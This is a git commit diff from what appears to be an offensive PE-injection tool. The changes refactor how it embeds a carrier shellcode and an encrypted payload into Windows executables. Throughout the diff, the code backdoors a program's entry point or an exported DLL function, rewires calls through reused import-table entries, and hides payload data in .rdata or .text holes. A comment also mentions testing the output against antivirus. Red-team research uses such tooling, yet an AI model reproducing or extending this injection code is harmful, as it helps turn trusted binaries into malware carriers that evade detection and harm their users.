feature: datareuse now supports multiple references -> fix change_ carriers

This commit is contained in:
Dobin Rutishauser
2024-06-22 12:59:21 +02:00
parent ae3567847c
commit de77f50f06
7 changed files with 156 additions and 191 deletions
+1 -18
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@@ -136,24 +136,6 @@ def file_to_lf(filename):
f.write(data) f.write(data)
def find_first_utf16_string_offset(data, min_len=8):
current_string = bytearray()
start_offset = None # To keep track of the start of the current string
for i in range(0, len(data) - 1, 2):
# Check if we have a valid character
if data[i] != 0 or data[i+1] != 0:
if start_offset is None: # Mark the start of a new string
start_offset = i
current_string += bytes([data[i], data[i+1]])
else:
if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
return start_offset # Return the offset where the string starts
current_string = bytearray()
start_offset = None # Reset start offset for the next string
return None # No string found that meets the criteria
def round_up_to_multiple_of_8(x): def round_up_to_multiple_of_8(x):
return math.ceil(x / 8) * 8 return math.ceil(x / 8) * 8
@@ -169,6 +151,7 @@ def ui_string_decode(data):
except Exception as e: except Exception as e:
logger.warning("ui_string_decode: {}".format(e)) logger.warning("ui_string_decode: {}".format(e))
def ascii_to_hex_bytes(ascii_bytes): def ascii_to_hex_bytes(ascii_bytes):
hex_escaped = ''.join(f'\\x{byte:02x}' for byte in ascii_bytes) hex_escaped = ''.join(f'\\x{byte:02x}' for byte in ascii_bytes)
return hex_escaped return hex_escaped
+17 -8
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@@ -15,14 +15,24 @@ class IatRequest():
self.placeholder: bytes = placeholder # Random bytes as placeholder self.placeholder: bytes = placeholder # Random bytes as placeholder
class DataReuseEntry(): class DataReuseReference():
def __init__(self, string_ref: str): def __init__(self, randbytes: bytes, register: str):
self.string_ref: str = string_ref # "$SG72513" self.randbytes: bytes = randbytes
self.register: str = register
self.register: str = "" # "rcx"
self.randbytes: bytes = b"" # placeholder class DataReuseEntry():
self.data: bytes = b'' def __init__(self, string_ref: str, in_code: bool = False):
self.addr: int = 0 self.string_ref: str = string_ref # "$SG72513"
self.data: bytes = b'' # the content/data
self.addr: int = 0 # where content/data is stored
self.in_code: bool = in_code # is the data in code section
self.references: List[DataReuseReference] = []
def add_reference(self, randbytes, register):
self.references.append(DataReuseReference(randbytes, register))
class Carrier(): class Carrier():
@@ -32,7 +42,6 @@ class Carrier():
self.exe_filepath: str = exe_file self.exe_filepath: str = exe_file
self.superpe: SuperPe = None self.superpe: SuperPe = None
def init(self): def init(self):
self.superpe = SuperPe(self.exe_filepath) self.superpe = SuperPe(self.exe_filepath)
+30
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@@ -246,6 +246,17 @@ class SuperPe():
# Reloc destination is probably 8 bytes # Reloc destination is probably 8 bytes
# But i add another 8 to skip over small holes (common in .rdata) # But i add another 8 to skip over small holes (common in .rdata)
rm.add_range(reloc.rva, reloc.rva + 8 + 8) rm.add_range(reloc.rva, reloc.rva + 8 + 8)
if True: # FIXME this is a hack which is sometimes necessary?
sect_data_copy = section.pefile_section.get_data()
string_off = find_first_utf16_string_offset(sect_data_copy)
if string_off == None:
raise Exception("Strings not found in .rdata section, abort")
if string_off < 128:
logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
string_off = 128
rm.add_range(section.virt_addr, section.virt_addr + string_off)
rm.merge_overlaps() rm.merge_overlaps()
return rm return rm
@@ -378,3 +389,22 @@ class SuperPe():
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0 self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0 self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
def find_first_utf16_string_offset(data, min_len=8):
current_string = bytearray()
start_offset = None # To keep track of the start of the current string
for i in range(0, len(data) - 1, 2):
# Check if we have a valid character
if data[i] != 0 or data[i+1] != 0:
if start_offset is None: # Mark the start of a new string
start_offset = i
current_string += bytes([data[i], data[i+1]])
else:
if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
return start_offset # Return the offset where the string starts
current_string = bytearray()
start_offset = None # Reset start offset for the next string
return None # No string found that meets the criteria
+18 -48
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@@ -55,53 +55,25 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
continue continue
# PATCH external shellcode reference # PATCH external shellcode reference
if settings.payload_location == PayloadLocation.CODE: ## mov rdi, QWORD PTR supermega_payload
## mov rdi, QWORD PTR supermega_payload ## to
## to ## lea rdi, XXX
## lea rdi, [shcstart] ; get payload shellcode address if "supermega_payload" in line:
if "supermega_payload" in line: string_ref = "supermega_payload"
updated_line = line
updated_line = updated_line.replace(
"mov ",
"lea "
)
updated_line = updated_line.replace(
"QWORD PTR supermega_payload",
"[shcstart] ; get payload shellcode address"
)
lines_out.append(updated_line)
continue
elif settings.payload_location == PayloadLocation.DATA:
## mov rdi, QWORD PTR supermega_payload
## to
## lea rdi, XXX
if "supermega_payload" in line:
randbytes: bytes = os.urandom(7) # LEA is 7 bytes
string_ref = "supermega_payload"
datareuse_fixup = carrier.get_reusedata_fixup(string_ref) # should already exist (added before)
if datareuse_fixup == None: datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
raise Exception("Data reuse entry not found: {}".format(string_ref)) if datareuse_fixup == None:
register = line.split("mov\t")[1].split(",")[0] raise Exception("Data reuse entry not found: {}".format(string_ref))
datareuse_fixup.register = register # add a reference
datareuse_fixup.randbytes = randbytes randbytes: bytes = os.urandom(7) # LEA is 7 bytes
register = line.split("mov\t")[1].split(",")[0]
datareuse_fixup.add_reference(randbytes, register)
line = bytes_to_asm_db(randbytes) + " ; .rdata Payload".format() # add lines
lines_out.append(line) line = bytes_to_asm_db(randbytes) + " ; supermega_payload Payload".format()
continue
else:
raise Exception("Unknown payload location: {}".format(settings.payload_location))
# ADD label at end of code
# we cant reliably identify in which function, so we just add it at the end
## get_time_raw ENDP
## -> add here
## _TEXT ENDS
## END
if line_idx > len(lines) - 5 and tokens[1] == "ENDP":
lines_out.append(line) lines_out.append(line)
lines_out.append("shcstart: ; start of payload shellcode")
continue continue
# COLLECT AND PATCH all functions that need to be resolved in loader shellcode # COLLECT AND PATCH all functions that need to be resolved in loader shellcode
@@ -152,15 +124,13 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
## DB 07cH, 04cH, 028H, 0b0H, 006H, 07eH ; IAT Reuse for GetEnvironmentVariableW ## DB 07cH, 04cH, 028H, 0b0H, 006H, 07eH ; IAT Reuse for GetEnvironmentVariableW
if "OFFSET FLAT:$SG" in line: if "OFFSET FLAT:$SG" in line:
string_ref = line.split("OFFSET FLAT:")[1] string_ref = line.split("OFFSET FLAT:")[1]
register = line.split("lea\t")[1].split(",")[0]
randbytes: bytes = os.urandom(7)
datareuse_fixup = carrier.get_reusedata_fixup(string_ref) datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
if datareuse_fixup == None: if datareuse_fixup == None:
raise("Data reuse entry not found: {}".format(string_ref)) raise("Data reuse entry not found: {}".format(string_ref))
datareuse_fixup.register = register register = line.split("lea\t")[1].split(",")[0]
datareuse_fixup.randbytes = randbytes randbytes: bytes = os.urandom(7)
datareuse_fixup.add_reference(randbytes, register)
line = bytes_to_asm_db(randbytes) + " ; .rdata Reuse for {} ({})".format( line = bytes_to_asm_db(randbytes) + " ; .rdata Reuse for {} ({})".format(
string_ref, register) string_ref, register)
-13
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@@ -25,19 +25,6 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
return code return code
def merge_loader_payload(
shellcode_in: bytes,
payload_data: bytes,
decoder_style: DecoderStyle
) -> bytes:
payload_data = encode_payload(payload_data, decoder_style)
logger.info("---[ Size: Carrier: {} and Payload: {} Sum: {} ".format(
len(shellcode_in), len(payload_data), len(shellcode_in)+len(payload_data)))
return shellcode_in + payload_data
def encode_payload(payload: bytes, decoder_style: DecoderStyle) -> bytes: def encode_payload(payload: bytes, decoder_style: DecoderStyle) -> bytes:
if decoder_style == DecoderStyle.PLAIN_1: if decoder_style == DecoderStyle.PLAIN_1:
return payload return payload
+84 -83
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@@ -4,7 +4,7 @@ import time
import logging import logging
from typing import Dict, List from typing import Dict, List
from model.carrier import Carrier, DataReuseEntry from model.carrier import Carrier, DataReuseEntry, DataReuseReference
from pe.pehelper import * from pe.pehelper import *
from observer import observer from observer import observer
from pe.derbackdoorer import FunctionBackdoorer from pe.derbackdoorer import FunctionBackdoorer
@@ -18,7 +18,7 @@ from model.payload import Payload
logger = logging.getLogger("Injector") logger = logging.getLogger("Injector")
def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: Payload): def inject_exe(carrier_shc: bytes, settings: Settings, carrier: Carrier, payload: Payload):
exe_in = settings.inject_exe_in exe_in = settings.inject_exe_in
exe_out = settings.inject_exe_out exe_out = settings.inject_exe_out
carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
@@ -26,12 +26,12 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P
logger.info("--[ Injecting: into {} -> {}".format(exe_in, exe_out)) logger.info("--[ Injecting: into {} -> {}".format(exe_in, exe_out))
# CHECK if shellcode fits into the target code section # CHECK if shellcode fits into the target code section
shellcode_len = len(main_shc) carrier_shc_len = len(carrier_shc)
code_sect_size = carrier.superpe.get_code_section().Misc_VirtualSize #code_sect_size = carrier.superpe.get_code_section().Misc_VirtualSize
if shellcode_len + CODE_INJECT_SIZE_CHECK_ADD > code_sect_size: #if carrier_shc_len + CODE_INJECT_SIZE_CHECK_ADD > code_sect_size:
raise Exception("Error: Shellcode size {}+{} too big for target code section {}".format( # raise Exception("Error: Shellcode size {}+{} too big for target code section {}".format(
shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, code_sect_size # carrier_shc_len, CODE_INJECT_SIZE_CHECK_ADD, code_sect_size
)) # ))
# superpe is a representation of the exe file. We gonna modify it, and save it at the end. # superpe is a representation of the exe file. We gonna modify it, and save it at the end.
superpe = SuperPe(exe_in) superpe = SuperPe(exe_in)
@@ -57,7 +57,7 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P
superpe.pe.parse_data_directories() superpe.pe.parse_data_directories()
superpe.init_iat_entries() superpe.init_iat_entries()
shellcode_offset: int = 0 # file offset carrier_shc_offset: int = 0 # file offset
# Special case: DLL exported function direct overwrite # Special case: DLL exported function direct overwrite
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
@@ -66,15 +66,15 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P
# Size and sanity checks # Size and sanity checks
function_size = superpe.get_size_of_exported_function(settings.dllfunc) function_size = superpe.get_size_of_exported_function(settings.dllfunc)
if shellcode_len >= function_size: if carrier_shc_len >= function_size:
logger.warning("Shellcode larger than function: {} > {} exported function {}".format( logger.warning("Shellcode larger than function: {} > {} exported function {}".format(
shellcode_len, function_size, settings.dllfunc carrier_shc_len, function_size, settings.dllfunc
)) ))
# Inject # Inject
shellcode_offset = superpe.get_offset_from_rva(rva) carrier_shc_offset = superpe.get_offset_from_rva(rva)
logger.info(f'----[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite') logger.info(f'----[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_shc_offset:X} to overwrite')
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) superpe.pe.set_bytes_at_offset(carrier_shc_offset, carrier_shc)
else: # EXE/DLL else: # EXE/DLL
# Put it somewhere in the code section, and rewire the flow # Put it somewhere in the code section, and rewire the flow
@@ -82,26 +82,26 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P
if sect == None: if sect == None:
raise Exception('Could not find code section in input PE file!') raise Exception('Could not find code section in input PE file!')
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
if sect_size < shellcode_len + CODE_INJECT_SIZE_CHECK_ADD: if sect_size < carrier_shc_len + CODE_INJECT_SIZE_CHECK_ADD:
raise Exception("Shellcode too large: {}+{} > {}".format( raise Exception("Shellcode too large: {}+{} > {}".format(
shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size carrier_shc_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size
)) ))
shellcode_offset = int((sect_size - shellcode_len) / 2) # centered in the .text section carrier_shc_offset = int((sect_size - carrier_shc_len) / 2) # centered in the .text section
#shellcode_offset = round_up_to_multiple_of_8(shellcode_offset) #shellcode_offset = round_up_to_multiple_of_8(shellcode_offset)
shellcode_offset += sect.PointerToRawData carrier_shc_offset += sect.PointerToRawData
shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset) shellcode_rva = superpe.pe.get_rva_from_offset(carrier_shc_offset)
# Aligning the payload (not carrier!) to page size is important for dll_loader_change # Aligning the payload (not carrier!) to page size is important for dll_loader_change
if settings.carrier_name == "dll_loader_change": if settings.carrier_name == "dll_loader_change":
# align shellcode_rva minus an offset to page size # align shellcode_rva minus an offset to page size
shellcode_rva = align_to_page_size(shellcode_rva, shellcode_len - len(payload.payload_data)) shellcode_rva = align_to_page_size(shellcode_rva, carrier_shc_len - len(payload.payload_data))
shellcode_offset = superpe.pe.get_offset_from_rva(shellcode_rva) carrier_shc_offset = superpe.pe.get_offset_from_rva(shellcode_rva)
logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format( logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format(
shellcode_offset, shellcode_rva)) carrier_shc_offset, shellcode_rva))
# Copy the shellcode # Copy the shellcode
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) superpe.pe.set_bytes_at_offset(carrier_shc_offset, carrier_shc)
# rewire flow # rewire flow
if superpe.is_dll() and settings.dllfunc != "": # DLL if superpe.is_dll() and settings.dllfunc != "": # DLL
@@ -113,7 +113,7 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P
addr = superpe.getExportEntryPoint(settings.dllfunc) addr = superpe.getExportEntryPoint(settings.dllfunc)
logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format( logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format(
settings.dllfunc, addr)) settings.dllfunc, addr))
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len) function_backdoorer.backdoor_function(addr, shellcode_rva, carrier_shc_len)
else: # EXE else: # EXE
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
@@ -125,12 +125,13 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P
addr = superpe.get_entrypoint() addr = superpe.get_entrypoint()
logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format( logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
addr)) addr))
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len) function_backdoorer.backdoor_function(addr, shellcode_rva, carrier_shc_len)
logger.info("--( Fix shellcode to re-use IAT entries") logger.info("--( Fix shellcode to re-use IAT entries")
injected_fix_iat(superpe, carrier) injected_fix_iat(superpe, carrier)
logger.info("--( Fix shellcode to reference data stored in .rdata") logger.info("--( Fix shellcode to reference data stored in .rdata")
injected_fix_data(superpe, carrier) injected_fix_data(superpe, carrier,
carrier_shc_offset + carrier_shc_len)
# changes from console to UI (no console window) if necessary # changes from console to UI (no console window) if necessary
superpe.patch_subsystem() superpe.patch_subsystem()
@@ -141,7 +142,7 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P
# Log # Log
code = file_readall_binary(exe_out) code = file_readall_binary(exe_out)
in_code = code[shellcode_offset:shellcode_offset+shellcode_len] in_code = code[carrier_shc_offset:carrier_shc_offset+carrier_shc_len]
observer.add_code_file("carrier_exe", in_code) observer.add_code_file("carrier_exe", in_code)
@@ -164,81 +165,81 @@ def injected_fix_iat(superpe: SuperPe, carrier: Carrier):
)) ))
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address) jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
if len(jmp) != len(iatRequest.placeholder): if len(jmp) != len(iatRequest.placeholder):
raise Exception("IatResolve: Call to IAT has different length than placeholder, abort") raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
len(jmp), len(iatRequest.placeholder)
))
code = code.replace(iatRequest.placeholder, jmp) code = code.replace(iatRequest.placeholder, jmp)
superpe.write_code_section_data(code) superpe.write_code_section_data(code)
def injected_fix_data(superpe: SuperPe, carrier: Carrier): def injected_fix_data(superpe: SuperPe, carrier: Carrier, shellcode_offset: int):
"""Inject shellcode-data into .rdata and replace reusedata_fixup placeholders in code with LEA""" """Inject data into .rdata/.text and replace reusedata_fixup placeholders in code with LEA"""
# Insert my data into the .rdata section.
# Chose and save each datareuse_fixup's addres.
reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups() reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups()
if len(reusedata_fixups) == 0: if len(reusedata_fixups) == 0:
# nothing todo # nothing todo
return return
# Put stuff into .rdata section in the PE # .rdata storage manager
peSection = carrier.superpe.get_section_by_name(".rdata") rdata_section = carrier.superpe.get_section_by_name(".rdata")
if peSection == None: if rdata_section == None:
raise Exception("No .rdata section found, abort") raise Exception("No .rdata section found, abort")
rm = carrier.superpe.get_rdata_relocmanager() rm = carrier.superpe.get_rdata_relocmanager()
if True: # FIXME this is a hack which is sometimes necessary # insert data
sect_data_copy = peSection.pefile_section.get_data() logger.info("---( DataReuseFixups: Inject the data")
string_off = find_first_utf16_string_offset(sect_data_copy)
if string_off == None:
raise Exception("Strings not found in .rdata section, abort")
if string_off < 128:
logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
string_off = 128
rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off)
# Do all .rdata patches
logger.info("---( Patch: .rdata")
for datareuse_fixup in reusedata_fixups: for datareuse_fixup in reusedata_fixups:
logger.info(" Handling DataReuse Fixup: {} <- {}".format( logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format(
datareuse_fixup.string_ref, datareuse_fixup.randbytes.hex())) datareuse_fixup.string_ref, datareuse_fixup.in_code))
# get a hole in the .rdata section to put our data if datareuse_fixup.in_code: # .text
hole_rva = rm.find_hole(len(datareuse_fixup.data)) superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
if hole_rva == None: payload_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
raise Exception("No suitable hole with size {} found in .rdata section, abort".format( datareuse_fixup.addr = payload_rva + carrier.superpe.get_image_base()
len(datareuse_fixup.data) logging.info(" Add to .text at 0x{:X} ({}): {} with size {}".format(
)) datareuse_fixup.addr, payload_rva, datareuse_fixup.string_ref, len(datareuse_fixup.data)))
rm.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
var_data = datareuse_fixup.data else: # .rdata
data_rva = hole_rva[0] # get a hole in the .rdata section to put our data
superpe.pe.set_bytes_at_rva(data_rva, var_data) hole_rva = rm.find_hole(len(datareuse_fixup.data))
datareuse_fixup.addr = data_rva + carrier.superpe.get_image_base() if hole_rva == None:
logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format( raise Exception("No suitable hole with size {} found in .rdata section, abort".format(
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data))) len(datareuse_fixup.data)
))
rm.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
# patch code section var_data = datareuse_fixup.data
# replace the placeholder with a LEA instruction to the data we written above data_rva = hole_rva[0]
logger.info("---( Patch: .text") superpe.pe.set_bytes_at_rva(data_rva, var_data)
datareuse_fixup.addr = data_rva + carrier.superpe.get_image_base()
logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
# replace the placeholder in .text with a LEA instruction to the data we written above
logger.info("---( Datareusefixups: patch code to reference the data")
code = superpe.get_code_section_data() code = superpe.get_code_section_data()
for datareuse_fixup in reusedata_fixups: for datareuse_fixup in reusedata_fixups:
if not datareuse_fixup.randbytes in code: ref: DataReuseReference
raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format( for ref in datareuse_fixup.references:
datareuse_fixup.randbytes.hex(), datareuse_fixup.string_ref)) if not ref.randbytes in code:
raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format(
offset_from_datasection = code.index(datareuse_fixup.randbytes) ref.randbytes.hex(), datareuse_fixup.string_ref))
instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
destination_virtual_address = datareuse_fixup.addr offset_from_datasection = code.index(ref.randbytes)
logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format( instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
datareuse_fixup.randbytes.hex(), instruction_virtual_address, datareuse_fixup.register, destination_virtual_address destination_virtual_address = datareuse_fixup.addr
)) logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
lea = assemble_lea( ref.randbytes.hex(), instruction_virtual_address, ref.register, destination_virtual_address
instruction_virtual_address, destination_virtual_address, datareuse_fixup.register ))
) lea = assemble_lea(
asm_disasm(lea, instruction_virtual_address) # DEBUG instruction_virtual_address, destination_virtual_address, ref.register
if len(lea) != len(datareuse_fixup.randbytes): )
raise Exception("IatResolve: Call to IAT has different length than placeholder, abort") asm_disasm(lea, instruction_virtual_address) # DEBUG
code = code.replace(datareuse_fixup.randbytes, lea) if len(lea) != len(ref.randbytes):
raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format(
len(lea), len(ref.randbytes)
))
code = code.replace(ref.randbytes, lea)
superpe.write_code_section_data(code) superpe.write_code_section_data(code)
+6 -21
View File
@@ -167,14 +167,12 @@ def start_real(settings: Settings):
# CREATE: Carrier C source files from template (C->C) # CREATE: Carrier C source files from template (C->C)
phases.templater.create_c_from_template(settings, len(project.payload.payload_data)) phases.templater.create_c_from_template(settings, len(project.payload.payload_data))
# If we put the payload into .rdata
# PREPARE DataReuseEntry for usage in Compiler/AsmTextParser # PREPARE DataReuseEntry for usage in Compiler/AsmTextParser
if settings.payload_location == PayloadLocation.DATA: # So the carrier is able to find the payload
logger.info("--[ Load payload for use in .rdata injection") project.carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload", in_code=True))
project.carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload")) entry = project.carrier.get_reusedata_fixup("supermega_payload")
entry = project.carrier.get_reusedata_fixup("supermega_payload") entry.data = phases.assembler.encode_payload(
entry.data = phases.assembler.encode_payload( project.payload.payload_data, settings.decoder_style) # encrypt
project.payload.payload_data, settings.decoder_style) # encrypt
observer.add_code_file("payload", project.payload.payload_data) observer.add_code_file("payload", project.payload.payload_data)
# COMPILE: Carrier to .asm (C -> ASM) # COMPILE: Carrier to .asm (C -> ASM)
@@ -201,21 +199,8 @@ def start_real(settings: Settings):
build_exe = settings.main_exe_path) build_exe = settings.main_exe_path)
observer.add_code_file("carrier_shc", carrier_shellcode) observer.add_code_file("carrier_shc", carrier_shellcode)
# MERGE: shellcode/loader with payload (SHC + PAYLOAD -> SHC)
if settings.payload_location == PayloadLocation.CODE:
logger.info("--[ Merge carrier with payload for .text injection".format())
full_shellcode = phases.assembler.merge_loader_payload(
shellcode_in = carrier_shellcode,
payload_data = project.payload.payload_data,
decoder_style = settings.decoder_style)
#observer.add_code_file("full_shc", full_shellcode)
else:
# shellcode is in .rdata, so we dont need to merge
# Encoding is handled before this
full_shellcode = carrier_shellcode
# inject (merged) loader into an exe. Big task. # inject (merged) loader into an exe. Big task.
phases.injector.inject_exe(full_shellcode, settings, project.carrier, project.payload) phases.injector.inject_exe(carrier_shellcode, settings, project.carrier, project.payload)
#observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300)) #observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300))
# Check binary with avred # Check binary with avred